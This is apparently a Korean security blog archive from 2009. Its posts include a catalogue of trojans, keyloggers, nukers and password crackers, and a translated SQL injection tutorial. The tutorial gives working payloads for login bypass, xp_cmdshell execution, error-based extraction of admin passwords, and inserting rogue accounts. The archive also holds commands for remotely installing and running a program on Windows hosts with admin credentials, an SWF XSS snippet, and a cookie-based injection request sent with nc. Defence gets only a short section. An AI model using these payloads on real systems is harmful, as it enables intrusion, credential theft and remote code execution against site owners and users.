    http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2008/06/23/
    finding-sql-injection-with-scrawlr.aspx



    관련링크:

    공개용 웹 방화벽 프로그램을 이용한 홈페이지 보안 - krcert
    http://www.wssplex.net/TipnTech.aspx?Seq=312

    해킹, 악성코드등 보안 점검 자료 및 정보
    http://www.wssplex.net/TipnTech.aspx?Seq=310

    DDoS 공격사례, 기법 및 이를 위한 Arp Spoofing 등 기술문서
    http://www.wssplex.net/TipnTech.aspx?Seq=388

    SQL Injection and XSS 진단 스크립트
    http://www.wssplex.net/TipnTech.aspx?Seq=273

    - http://www.wssplex.net 에 있는 글입니다.
    2009/08/17 16:44 2009/08/17 16:44
    글로벌 IT서비스업체 호스트웨이IDC는 자사 고객 웹사이트 100곳을 대상으로 웹 취약점 점검을 실시한 결과 88%가 보안 취약점을 갖고 있는 것으로 나타났다고 26일 밝혔다.

    '매우 위험', '위험', '취약', '안전' 등 4단계 기준으로 호스트웨이IDC가 웹 취약점을 자체분석한 결과 '매우 위험' 단계 웹사이트가 전체의 72%, '위험' 4%, '취약' 12% 등으로 집계됐다.

    호스트웨이IDC는 '매우 위험' 사이트 중 상당수에서 이미 개인정보가 유출됐을 가능성이 높다고 밝혔다.

    운영체제별로는 윈도 고객의 경우 '매우 위험' 단계가 79%로, 리눅스 또는 유닉스 고객의 60%에 비해 보안 취약점이 더 높은 것으로 나타났다.

    호스트웨이IDC는 이날 접수를 시작으로 선착순 100명의 고객에게 웹 취약점 분석 점검 및 리포트 2차 무료 프로모션을 실시한다. 자세한 내용은 홈페이지(www.hostway.co.kr)를 참고하면 된다.
    2009/08/17 16:43 2009/08/17 16:43
    중국에서 매일 매일 시도되는 인젝션 공격에 몸살을 앓던 중 이들의 공격툴에 대한 조사를 하게되었다. 돈만주면 뭐든지 다 된다는 중국해커들에게서 입수한 몇가지 해킹툴 정보를 알게되었다. 아래 툴은 해커들 사이에 거래되는 사이트를 통해 거래가 가능하다한다..ㅡㅡ;
    아래에 해당하는 임시테이블이 혹시나 여러분의 DB에 존재한다면, 이미 해킹당한 것이다.

    DOC 파일 다운받아서 확인

    2009/08/17 16:42 2009/08/17 16:42

    ==============================================================================
    Trojan Virus / Hacking Tool
    ==============================================================================
    Back Orifice 2000 --- cDc에서 공개한 백 오리피스 2000
    Back Orifice 1.20 --- cDc 에서 공개한 백 오리피스
    Back Orifice 1.3 --- 역시 BO의 업그레이드 버전
    주민등록번호생성기 --- 주민등록 번호 생성기
    Infector 2 --- V3에 안 잡히는 BOSERVE.EXE
    Deep Bo --- BO의 업그레이드 버전!! (편리한 IP Sweep 기능)
    Bo Plug-in --- 3가지 BO 플러그 인 (ButtTrumpet, SilkRope, BOFTP)
    No BO 13a --- BO 해킹 방지 전문적으로 차단하는 프로그램
    Net Bus 1.70 --- BO랑 쌍벽을 이루는 Trojan Hacking 프로그램
    Net Bus Pro B --- 넷버스 2 프로 베타 버전 원제는 NetBus 2 Atomic Toxic
    Ner Bus Pro 2.01 --- 넷버스 프로 2.01
    Netbus Pro 2.1 Dropper --- Netbus Pro 2.1 Dropper
    Lock Down 2000 Trojan Virus --- 전문 검사+치료 프로그램
    BO SPY --- BO Gui쓰는 사람에게
    Cleaner 2.0 --- bo 검사 & 치료 프로그램
    BO Scanner --- Cleaner 2.0과 비슷한 프로그램
    BO Remove --- BO만 치료
    Modem Jammer --- IP경로 지우는 프로그램
    Infector 2 --- V3에 안 잡히는 BOSERVE.EXE
    스쿨버스 --- 스쿨버스입니다.
    Deepthroat --- nobo에 안걸 리는 bo 서버
    Subseven --- v1.7 트로이입니다.
    Subseven --- 2.1 버그 패치 된 것
    Pphucker --- pphucker라는 트로이

    ==============================================================================
    포트스캔
    ==============================================================================
    Port Scanner --- 포트 스캐너입니다.
    Port Pro //
    Port Test //
    ChaOscan //
    Tcp port scanner //
    FTP Scanner --- IP주소로 FTP서버를 찾아줌

    ==============================================================================
    WWW해킹
    ==============================================================================
    Wwwhack98 --- 가장 잘 알려진 웹 해킹 프로그램
    Webcrack --- 특별한 기능이 있는 웹 해킹 프로그램
    HackerTTP1_3 --- 가장 빠른 웹 해킹 프로그램
    Goldeneye --- Goldeneye라는 웹 해킹 프로그램


    ==============================================================================
    누킹
    ==============================================================================
    Mass nuker --- 매우 강력한 누킹 프로그램
    Port Fuck --- 윈도우 98의 포트를 막아줌
    Wiin nuke --- 95 화면을 먹통으로 만들어 버림
    Nuke --- 강력한 누킹 프로그램
    Nuke`em --- 컴퓨터를 다운시켜 버림
    E-mail Nuker --- 상대방의 E-MAIL을 날려버림
    Voob --- 컴퓨터를 다운시켜 버림

    ===============================================================================
    키 로그
    ==============================================================================
    Keylog 97 --- 키보드를 통해 누른 어떤 글자도 날짜별로 체계적으로 저장
    Keylog25 //
    Passpy //
    Keylog //
    Key rec //

    =============================================================================
    유닉스/리눅스
    ==============================================================================
    폭탄메일 스크립트 --- 리눅스/유닉스용 폭탄메일
    satan --- 취약점을 찾아내는 SATAN이라는 툴
    saint --- SATAN이 개선된 SAINT
    hack unix --- 유닉스용 해킹 프로그램
    fire wall --- 리눅스용 방화벽
    스니퍼 --- 몰래 엿보는 프로그램


    ==============================================================================
    메일봄버
    ==============================================================================
    AnonMail --- 자신의 이메일 주소를 원하는데로..
    Avalanche --- 폭탄 메일
    QFbomber --- 사용법이 쉬운 메일 봄버
    Aenima17 --- 메일 봄버
    Bomb Mail --- 메일 봄버
    E-mail Bombing --- 메일 봄버
    Kaboom3 --- 메일을 999장 보냄
    Port Fuck! --- Win98 사용자에게 폭탄멜 보내기(누킹 툴 W98)

    ==============================================================================
    크래커
    ===============================================================================
    bus hacker --- 넷버스의 패스워드를 바꿔줌
    John the ripper --- 유닉스 PASSWD화일을 해독
    Crack Jack //
    DateCrack --- 날짜제한을 없애줌
    Uunix password cracker --- 유닉스 패스워드 크래커. 도스용
    Zip ZIP --- 화일의 패스워드를 크랙
    트럼펫윈속 --- 트럼펫윈속의 패스워드를 크랙
    UNP --- 자체 압축기법 해제
    UX --- 자체 압축기법 해제
    마이크로 excel cracker --- 엑셀의 암호를 없애줌
    Soft Ice --- 윈도우용 소프트 아이스
    화면보호기 cracker --- 윈도우 스크린 세이버의 암호를 풀어줌
    John The Ripper 1.0 --- 가장 유명하고 강력한 크래킹 프로그램으로 전설적인 크래킹 기록을 세움
    codex TCP/IP Hacker

    ==============================================================================
    패스워드
    =============================================================================
    Dripper --- 현재 어떤 ID와 PW로 접속했는지 알려줌
    Revelation --- 윈도우에서 ****으로 표시된 PW를 알려줌
    Cmos password --- CMOS의 패스워드를 마음데로

    ==============================================================================
    바이러스
    =============================================================================
    에루살렘
    핑퐁
    바이러스 메이커 1,2,3

    ============================================================================
    방어/추적
    ==============================================================================
    Cleaner 2.0 --- 38개의 트로이를 스캔, 제거툴
    Visual Route --- ip만 입력하면 상대방의 국가, 지역까지..
    Lock Down 2000 --- 클리너에 버금가는 트로이 스캐너
    X-ray 파일 분석기
    Nobo --- BO 침투자를 막아주고 IP를 알려줌
    Bospy --- 딥보 침투자에게 역해킹..
    No Nuke --- 누킹을 막아줌
    Nuke Nabber --- 누깅을 막아줌
    Neotrc201 --- IP 추적기
    Antigen102
    Net Buster --- 넷버스를 없애주고 침입자를 물리
    Fire wall 98 --- 개인 방화벽
    Bo remover --- 백오리피스를 빠른속도로 없애줌
    Conseal fire wall --- 개인 방화벽
    T.D.S.2 --- 294개의 트로이를 제거해줌

    ===========================================================================
    필수유틸
    =============================================================================
    Jammer --- 자신의 접속 경로를 지워줍니다.
    HAKTEK --- 포트스캔, 핑거, 메일봄버 등이 하나로
    com2exe --- *.com을 *.exe화일로...
    bat2exe --- *.bat를 *.exe화일로...
    exe2com --- *.exe화일을 *.com화일로...
    mouse.com --- 가끔 필요한 마우스 띄우는 프로그램
    winnt->dos --- 윈도우nt 파일을 도스에서 마운트

    2009/08/16 18:12 2009/08/16 18:12

    Details
    1.0 Introduction
    ============================================
    서 버가 단지 80포트만을 오픈하고 있을때, 당신의 믿음직한 취약점 스캐너는 유용한 정보를 잡아내지 못한다.
    당신도 알다시피 관리자는 항상 서버를 패치한다.
    우리는 웹해킹으로 관점을 돌려야 한다.
    SQL injection은 단지 80번 포트만을 필요로 하는 웹해킹의 방법중 한가지이다. 만일 관리자가 패치를 잘 하고 있을지라도 해킹은 잘 작동하게 될것이다.
    SQL injection 는 OS 상에서 웹서버나 서비스가 실행되고 있다고 할지라도 웹 어플리케이션(like ASP, JSP, PHP, CGI, etc) 상에서 웹어플리케이션 그자체를 공격한다.

    이 문서는 새로은 것에 대해서 말하고 있지는 않다.
    SQL injection에 관한 문서는 여러사람들이 써 왔고 널리 사용되어지고 있다.
    우리는 이문서를 작성했다. 직접 수기로 작성한 SQL injection 의 몇가지를 문서화 하기 위해서 그리고 다른사람들에게 이문서가 도움에 되기를 바라기 때문이다.
    당신은 한 두가지를 더 발견할수 있을 것이다.
    그러기 위해서 "9.0 Where can I get more info?"를 확인해 봄으로써 SQL injection 안에서 많은 테크닉들을 개발할수 있는 믿을만한 많은 정보들을 얻을수 있을 것이다.


    1.1 What is SQL Injection?
    -------------------------------------------------------------------------
    SQL injection 은 웹 페이지를 통해서 입력하는 것처럼 SQL query/command를 삽입하기위한 트릭이다.
    많은 웹페이지들은 웹 사용자로 부터 패러미터들을 입력받아 데이타베이스에대한 SQL query를 만든다.
    사용자가 로긴을 할때를 예를 들자면, 사용자가 유효한 이름과 패스워드를 사용하는지를 확인하기위해서 사용자 이름과 패스워드를 에 관한 SQL query 를 만든다.
    SQL injection를 통해서, 정상적인 SQL query를 변조하게 하는 교활하게 조작된 사용자 이름과 패스워드를 보내는 것이 가능하고 우리는 이것을 통해서 어떤것을 행하게 할수가 있는 것이다.

    1.2 What do you need?
    -------------------------------------------------------------------------
    어떤 브라우저라도 좋다.


    2.0 What you should look for?
    ============================================
    데 이타 입력을 허락하는 웹페이지를 찿아 보아라.
    예를 들자면 로긴 웹 페이지, 서치 웹페이지, 피드백 등등. 자주 HTML 페이지는 다른 ASP 페이제 패러미터를 보네기 위해서 POST 명령을 사용한다.
    하지만 당신은 URL 에서 패러미터를 볼수는 없을 것이다.
    그러나 HTML의 소스 코드를 확인해 보면 HTML 코드에서 "FORM" 태그를 발견 할 수 있을 것이다.
    당신은 이 HTML 코드에서 다음과 같은 것을 발견 할 수가 있을 것이다.


    2.1 What if you can't find any page that takes input?
    -------------------------------------------------------------------------
    ASP, JSP, CGI, or PHP 같은 웹 페이지들을 찿아 보기 바란다. 특히 다음과 같은 패러미터를 가지고 있는 URL을 찿아 보거라. 다음:

    http://duck/index.asp?id=10


    3.0 How do you test if it is vulnerable?
    ============================================
    싱글 쿼트(') 트릭으로 시작해 보자!
    다음과 같이 입력해 보거라.:

    hi' or 1=1--

    다음 예와 같이 로긴, 패스워드 또는 URL 에서 말이다.
    - Login: hi' or 1=1--
    - Pass: hi' or 1=1--
    - http://duck/index.asp?id=hi' or 1=1--

    만일 히든 필드와 같이 이것들을 실행해야 한다면 사이트로 보터 HTML 소스를 다운로드 받고, 당신의 하드 디스크에 저장하고, 적당하게 URL 과 히든 필드를 수정하라. 예를 들자면 :
    운이 좋다면 로긴 네임이나 패스워드 없이 로긴 할 수 있을 것이다.

    3.1 But why ' or 1=1--?
    -------------------------------------------------------------------------
    ' or 1=1-- 가 왜 중요한지에 대해서 다른 예제를 알아 보도록 하자.
    로긴을 바로 통과 하는 것외에 일반적으로 가능한것은 아니지만 또다른 가능성은 엑스트라 인포메이션 즉 부수적인 정보를 보는 것이 가능하다는 것이다.
    다음 URL 과 같이 당신을 다른 페이지로 링크를 해주는 asp 페이지를 보자 :

    http://duck/index.asp?category=food

    이 URL에서 'category' 는 변수이고 'food'는 변수에 할당되어진 변수 값이다.
    이와 같은 일은 하기 위해서 ASP는 다음과 같은 코드를 포함하고 있을 것이다.
    (그렇다. 이것은 이 문제를 위해서 우리가 만든 실제 코드이다.) :

    v_cat = request("category")
    sqlstr="SELECT * FROM product WHERE PCategory='" &amp; v_cat &amp; "'"
    set rs=conn.execute(sqlstr)

    보는 바와 같이 우리의 변수는 v_cat 안으로 들어 갈 것이고 그래서 SQL 문장은 다음과 같이 될 것이다.:

    SELECT * FROM product WHERE PCategory='food'

    쿼리는 WHERE 조건(이경우 'food')과 일치하는 한개나 한개 이상의 행을 결과로 리턴한다.
    이제 다음과 같이 URL을 바꾸게 될 경우를 알아 보자 :

    http://duck/index.asp?category=food' or 1=1--

    만일 SQL query 에서 변수를 다음과 같이 변경하게 되면, 이제 변수 v_cat = "food' or 1=1-- " 되고 우리는 다음과 같은 결과를 얻을 것이다:

    SELECT * FROM product WHERE PCategory='food' or 1=1--'

    쿼 리는 product 테이블로 부터 모든것을 선택한다.
    PCategory 가 'food' 인지 아닌지에 상관없이 말이다 더블 대쉬("--")는 MS SQL 서버에게 쿼리의 나머지 부분을 무시하도록 한다. 마지막에 있는 싱글 쿼트(')를 제거하는 역할을 하게 될 것이다.
    종종 더블 대쉬(--)는 싱글 해쉬(#)로 대체 할 수 있다.

    하지만 SQL 서버가 아니거나 쿼리의 나머지를 간단하게 무시하게 할수가 없다면 다음과 같이 시도해 보라:

    ' or 'a'='a

    SQL 쿼리는 이제 다음과 될 것이다:

    SELECT * FROM product WHERE PCategory='food' or 'a'='a'

    이제 동일한 결과를 돌려 줄 것이다.

    실제 SQL query 에 따라서 다음과 같은 것들중에서 한개로 시도 하기 바란다:

    ' or 1=1--
    " or 1=1--
    or 1=1--
    ' or 'a'='a
    " or "a"="a
    ') or ('a'='a


    4.0 How do I get remote execution with SQL injection?
    ============================================
    만 일 일반적인 의미로서 SQL 명령을 삽입 할수 있다면 모든 SQL query 를 실행 할수 있을 것이다.
    MS SQL 서버가 윈도우즈 안에서 관리자 접근과 동등한 시스템상에 디폴트 인스톨로 실행되고 있다.
    우리는 리모트 실행을 수행하기 위해서 xp_cmdshell 를 마스터 같이 저장된 프로시저를 사용할수 있다.... :

    '; exec master..xp_cmdshell 'ping 10.10.1.2'--

    싱글 쿼트(')가 작동하지 않으면 더블 쿼트(")를 사용해 보라

    세 미 콜론은 현제 SQL query 를 끝나게 할것이고 그래서 당신이 새로운 SQL 명령을 시작할 수 있게 할것이다.
    만일 서버로부터 어떤 패킷이 있는지를 체크하기 위해서 명령이 성공적으로 실행되었는지를 확인하기 위해서 10.10.1.2 로 부터 ICMP 패킷을 리슨 할수 있다. :

    #tcpdump icmp

    만일 당신이 서버로부터 아무 핑(ping) 요구 받지 못했고, 퍼미션 에러를 표시하는 에러메시지를 받았다면, 이러한 저장된 프로시저에 대해서 관리자가 웹사용자의 접근을 제한하고 있을 가능성이 있다.


    5.0 How to get output of my SQL query?
    ============================================
    HTML 안에 당신의 쿼리를 삽입하기 위해서 sp_makewebtak 를 사용 할 수 있다:

    '; EXEC master..sp_makewebtask "10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

    하지만 타켓 IP 는 모든 사람이 공유하고 있는 공유 폴더이어야 한다.


    6.0 How to get data from the database using ODBC error message
    ============================================
    우리는 우리가 원하는 대부분의 데이타를 얻기 위해서 MS SQL 서버에 의해서 처리되어지는 에러 메세지로 부터 정보를 사용 할 수 있다. 다음과 같은 문장을 가지고 있는 페이지가 있다고 하고 예를 들자면 :

    http://duck/index.asp?id=10

    우리는 데이타베이스로 부터 정수 10 을 다른 문자열과 함께 UNION 을 시도할 것이다:

    http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

    서 버안에서 시스템 테이블 INFORMATION_SCHEMA.TABLES 은 모든 테이블에 관한 정보를 포함하고 있다.
    TABLE_NAME 필드는 데이터베이스 안에서 각 테이블의 이름을 분명히 포함하고 있다.
    알다 시피 그것은 항상 존제 하기때문에 우리는 그것을 선택했다. 우리의 쿼리는 :

    SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

    이 것은 데이터베이스 안에서 첫번째 테이블을 리턴한다.
    우리가 이 문자열 값을 정수 10과 UNION 할때 MS SQL 서버는 문자열(nvarchar)을 정수로 변환을 시도할 것이다.
    이것은 우리가 nvarchar을 int 로 전환 할 수 없는 것 때문에 에러를 발생 시킨다.
    서버는 다음의 에러 메시지를 출력할 것이다:

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
    converting the nvarchar value 'table1' to a column of data type int.
    /index.asp, line 5

    에러 메시지는 어떤 값이 정수로 변환 되어질수 없다는 것을 알려주게 되므로 우리에게 충분한 가치가 있다.
    이경우에 우리는 데이터 베이스에 있는 첫번째 테이블 이름이 "talbe1" 이라는 것을 알게 된다.

    다음 테이블 이름을 얻기 위해서 우리는 다음 쿼리를 사용 할 수 있다:

    http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
    INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

    우리는 LIKE 키워드를 사용하여 데이타를 조사 할 수 있다.

    http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
    INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

    Output:

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    [Microsoft][ODBC SQL Server Driver][SQL Server]
    Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
    /index.asp, line 5

    동등한 표시로서, SQL 서버 안에서 '%25login%25' 은 %login% 처럼 보여질 것이다.
    이경우에 우리는 "admin_login" 과 일치하는 첫번째 테이블 이름을 얻게 될것이다.


    6.1 How to mine all column names of a table?
    ---------------------------------------------------------------------------
    우리는 테이블의 모든 컬럼들의 이름을 알기 위해서 다른 유용한 테이블
    INFORMATION_SCHEMA.COLUMNS 을 사용 할 있다 :

    http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
    INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

    Output:

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    [Microsoft][ODBC SQL Server Driver][SQL Server]
    Syntax error converting the nvarchar value 'login_id' to a column of data type int.
    /index.asp, line 5

    이제 첫번째 칼럼 이름을 얻게 되었고 다음 컬럼 이름을 얻기 위해서 NOT IN () 을 사용 할 수 있다 :

    http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
    INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE
    COLUMN_NAME NOT IN ('login_id')--

    Output:

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    [Microsoft][ODBC SQL Server Driver][SQL Server]
    Syntax error converting the nvarchar value 'login_name' to a column of data type int.
    /index.asp, line 5

    이와 같이 계속해서 나아가서 우리는 나머지 칼럼 이름을 획득 했다.
    "password", "details". 우리는 이것들을 다음 에러 메시지를 얻었을때 알수가 있다 :
    http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
    INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE
    COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

    Output:

    Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
    [Microsoft][ODBC SQL Server Driver][SQL Server]
    ORDER BY items must appear in the select list if the statement contains a UNION operator.
    /index.asp, line 5


    6.2 How to retrieve any data we want?
    ---------------------------------------------------------------------------
    이제 몇개의 중요한 테이블들 과 그것들의 컴럼들을 확인해보자.
    우리는 데이타베이스로 부터 우리가 원하는 정보를 획득하기 위해서 똑같은 테크닉을 사용 사용 할 수 있다.

    이제, "admin_login" 테이블로 부터 첫번째 login_name 을 얻어보자:

    http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

    Output:

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    [Microsoft][ODBC SQL Server Driver][SQL Server]
    Syntax error converting the nvarchar value 'neo' to a column of data type int.
    /index.asp, line 5

    이제 우리는 neo 라는 로긴 이름을 가지고 있는 admin 유저가 있다는 것을 알았다.
    마지막으로 데이터베이로 부터 neo 의 패스워드를 얻기 위해서 :

    http://duck/index.asp?id=10 UNION SELECT TOP 1 password
    FROM admin_login where login_name='neo'--

    Output:

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    [Microsoft][ODBC SQL Server Driver][SQL Server]
    Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
    /index.asp, line 5

    우리는 ID neo, password m4trix 로 로긴 할 수 가 있을 것이다.


    6.3 How to get numeric string value?
    ---------------------------------------------------------------------------
    위에 설명한 테크닉에는 제한 사항이 있다.
    만일 우리가 유효한 숫자(0-9 사이에 있는 문자)로 구성된 텍스트를 변환하기를 시도한다면 우리는 어떤한 에러 메시지도 얻을 수 없을 것이다.
    ID trinity인 사용자의 패스워드 31173 을 얻기 위한 시도를 가지고 말해보자:

    http://duck/index.asp?id=10 UNION SELECT TOP 1 password
    FROM admin_login where login_name='trinity'--

    우 리는 "Page Not Found" 에러를 얻을 것이다.
    정수(이경우 10)와 UNION 하기 전에 패스워드 31173 은 숫자로 변환되어질 것이기 때문이다.
    그것은 유효한 UNION 문 이기 때문에 SQL 서버는 ODBC 에러 메시지를 출력하지 않을 것이다.
    그래서 우리는 어떠한 숫자 엔트리를 발견해 낼 수가 없다.

    이 문제를 해결하기 위해서, 우리는 변환이 확실히 실폐 하로독 하기 위해서 숫자 문자열에 몇개의 알파벳을 덧붙일 수 있다.
    이번에는 위에것 대신이 이 쿼리로 시도를 해보자:

    http://duck/index.asp?id=10 UNION SELECT TOP 1
    convert(int, password%2b'%20morpheus')
    FROM admin_login where login_name='trinity'--

    우 른는 패스워드에 우리가 원하는 어떤 텍스틀를 덧붙이기 위해서 더하기 기호(+,ASSCII code for '+' = 0x2b)를 사용한다.
    우리는 '(space)morpheus' 를 실제 패스워드에 덧붙일 것이다.
    그래서 우리가 숫자 문자열 31173 을 가지고 있다고 할 지라도 그것은 '31173 morpheus' 이 될 것이다.
    수작업으로 convert() 함수를 호출 함으로서 '31173 morpheus' 을 정수로 변환을 시도해보면 SQL 서버는 EDBC 에러 메시지를 출력 할 것이다:

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    [Microsoft][ODBC SQL Server Driver][SQL Server]
    Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
    /index.asp, line 5

    이제 ID trinity, 패스워드 31173 로 로긴을 할 수가 있다.


    7.0 How to update/insert data into the database?
    ============================================
    우 리가 테이블의 모든 칼럼 이름을 성공적으로 얻게될때 우리는 UPDATE 명령을 사용하거나 테이블안에 새로운 레코드를 삽입하기 위해서 INSERT 명령을 사용 할 수 가 있다.
    예를 들자면, neo 의 패스워드를 변경하기 위해서 :

    http://duck/index.asp?id=10; UPDATE 'admin_login'
    SET 'password' = 'newpas5' WHERE login_name='neo'--

    데이터 베이스 안에 새로운 레코드를 삽입하기 위해서 :

    http://duck/index.asp?id=10; INSERT INTO
    'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

    우리는 이제 ID neo2, 패스워드 newpas5 로 로긴 할 수 가 있다.


    8.0 How to avoid SQL Injection?
    ============================================
    다음과 같은 경우에 모든 문자열 안에서 싱글 쿼트, 더블 쿼트, 슬래쉬, 백슬래쉬, 세미 콜론, NULL 같은 확장된 문자, 캐리지 리턴, 뉴라인 등과 같은 문자를 필터링 한다면 :
    - 사용자로 부터의 입력
    - URL 에 있는 패러미터
    - 쿠키 안에 있는 값들

    숫자 값을 위해서 그것을 SQL 문으로 파싱을 하기전에 그것을 정수로 변환하라.
    또는 그것이 정수인지를 확인하기 위해서 ISNUMERIC 를 사용하라.

    SQL Server Security tab 안에서 하위 특권 사용자를 사용하여
    "Startup and run SQL Server" 를 변환 시켜라.

    당신이 사용하지 않는 다음 같은 저장된 프로시저들을 삭제 하라 :

    master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask


    9.0 Where can I get more info?
    ============================================
    최근우리가 발견하고 SQL Injection 을 적용한 최근 작품들 중에 하나는 PacketStrom 을 어떻게 해킹 했는지에관한 Rain Forest Puppy 의 문서이다.
    http://www.wiretrip.net/rfp/p/doc.asp?id=42&amp;iface=6

    ODBC 에러 메시지들로 부터 정보를 획득하는 방법에 관한 멋진 문서가 여기에 있다.
    blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc

    또한 다양한 SQL 서버상에서 SQL Injection 에 관한 훌륭한 요약집이 여기에 있다.
    http://www.owasp.org/asac/input_validation/sql.shtml

    SQL Injection 에 관한 Senseport 의 문서 :
    http://www.sensepost.com/misc/SQLinsertion.htm

    읽어 볼만한 문서들:
    http://www.digitaloffense.net/wargames01/IOWargames.ppt
    http://www.wiretrip.net/rfp/p/doc.asp?id=7&amp;iface=6
    http://www.wiretrip.net/rfp/p/doc.asp?id=60&amp;iface=6
    http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf

    2009/08/11 15:03 2009/08/11 15:03
    NT 시스템에 대한 모의 해킹 중 다양한 서비스를 원격 인스톨하는 기법을 사용하는 경우가 있습니다.

    기본적인 명령어의 사용법이나 개념 이해를 도울 수 있는 자료가 있기에 올려봅니다.
    -

    - How may I remotely install RA on a single distant PC?
    - You can use a free tool called psexec.exe available from www.sysinternals.com to deploy and run Slave on all the machines of your LAN with a single line of text.

    For the ones that want to understand how it works, you need the Administrator account of the distant PC, and the PC must be reachable by TCP/IP.
    Open a DOS box and type the following commands:

    • NET USE \192.168.112.24IPC$ /user:administrator password
    • COPY "C:Slave.exe" "\192.168.112.24C$WinNT (you may have to replace WinNT by Windows)
    • NETSVC \192.168.112.24 schedule /start   (make sure that the Scheduler Service is started)
    • NET TIME \192.168.112.24                        (note the time of the remote PC)
    • AT \192.168.112.24 10:00 "C:Slave.exe"    (replace 10:00 by the time of the PC plus one minute)

    That's it! RA is running on the remote PC so you can access it with Master! You can also use the following commands:

    • REGINI -m \192.168.112.24  ra.reg             (to install some Registry settings on the remote PC)
    • SHUTDOWN \192.168.112.24 /R /Y /C /T:0  (to reboot the remote PC)

    There is a LOGON SCRIPT in the PDF Manual to remotely install/Update/Remove RA on remote PCs.

    -

    출처 : http://www.twd-industries.com/en/faq.htm

    정리해 보자면...
    1. psexec 를 활용하여 명령어 한번에 원격 서비스 설치 가능
    예) psexec \* -u domainadministrator -p password -c -d -i "C:myservice.exe"
           - psexec
    \192.168.124.145 -u domainmike -p secret -c -d -i "C:myservice.exe"

    2. psexec 활용 불가 시
    net use
    \192.168.112.24IPC$ password /user:administrator
    copy "C:slave.exe" "
    \192.168.112.24C$WinNT
    netsvc \192.168.112.24 schedule /start
    net time
    \192.168.112.24
    at \192.168.112.24 10:00 "C:slave.exe"

    or

    regini -m
    \192.168.112.24 ra.reg
    shutdown
    \192.168.112.24 /r /y /c /t:0

    이 기법은 원격 VNC 설치에도 즐겨 사용되는 기법입니다.
    2009/08/11 14:58 2009/08/11 14:58
    https://fedorahosted.org/sectool/#Similarprojects

    NetBSD 보안설정 체크툴
    http://www.daemon-systems.org/man/security.conf.5.html

    참고로 아래와 같은 서비스도 있다.
    http://www.securityspace.com/smysecure/index.html
    2009/08/11 14:56 2009/08/11 14:56
    중국 사이트에 보니 흥미로운 내용을 알게 되었다. 비밀은 xss.swf에 eval()가 실행시키는 코드가 있다는 것입니다.
    xss.swf 파일에는 다음과 같은 내용이 들어 있습니다. 이걸 잘 응용하면 아주 멋진 swf xss 공격 코드를 올려서 다양한 형태의 웹해킹이 가능할 겁니다. swf 디컴파일은 누구나 할 수 있으니..


    FWSS   x _    D   C?)   ?  javascript:alert('xss')  _self ? @  
    사용자 삽입 이미지
    2009/08/11 14:53 2009/08/11 14:53
    중국 블로그 사이트에 있는 어떤 해커의 해킹기법 중 좀 특이한 케이스를 소개한 내용입니다. 번역이 좀 매끄럽지가 않아서 약간 재구성해 보았습니다.
     
    보통 DBMS에서 SQL injection 취약점이 존재하지만, Cookies에서도 SQL 인젝션을 구현할 수 있다. 
    http://xmcn.com/city의 개발의 1세트의 개방의 소스코드의 지역사회 절차이다; 여개의 문서는 변수가 존재하여 아직 특수 문자를 필터링하지 않기 때문이고, 사용자가 불법으로 침투하여 관리자 비밀번호를 얻는다. 문제 문서는 비교적 많기 때문이고, 여기를 특별히 1개의 간단한 user photo.asp을 골라 가져 해명으로 한다.
    user photo.asp 스크립트는 사용자 사진을 올린 것으로 사용자를 검증하여 이미 로그온된 것인지를 체크한다.

    if Request.Cookies("NC")=" " or Request.Cookies("NC")="방문객 "then
    Response.Write (" 당신은 지역사회 사용자가 아니어서 등록해 주십시오! ")
    Response.End
    end if

    Cookies를 사용할 때 NC 변수 값이 널이거나 "방문객" 사용자인지를 판단한다. 데이타베이스에 대해 이 사용자가 존재하지 않으며 에러를 리턴한다.

    set rs=server.createobject("adodb.recordset")
    set rs=conn.execute("Select * from HY Where NC='"&Request.Cookies("NC")&"'")

    Request.Cookies에게 (" NC" ) 값을 직접 SQL 쿼리로 밀어 넣는 식의 방식으로 Cookies를 통한 SQL injection을 시도할 수 있다.

    ..... 부분 코드를 생략한다
    " width="200" height="150">
     
    공격)

    C:/nc -vv 127.0.0.1 80 <1.txt >1.htm ,그 중 127.0.0.1은 Mini 도시 지역사회의 서버 IP 주소이고80은 포트, 1.htm 서버에서 리턴된 결과를 저장하고, 1.txt은 아래 공격코드임.
     
    1.txt 의 내용
    GET /mcity/main.asp HTTP/1.0
    Host: 127.0.0.1
    Cookie: NC=goo%27and%20exists(select%20id%20from%20HY%20where%20len(MM)%3D0%27and%20NC%3D%27admin%27)%20and%20%271;
     
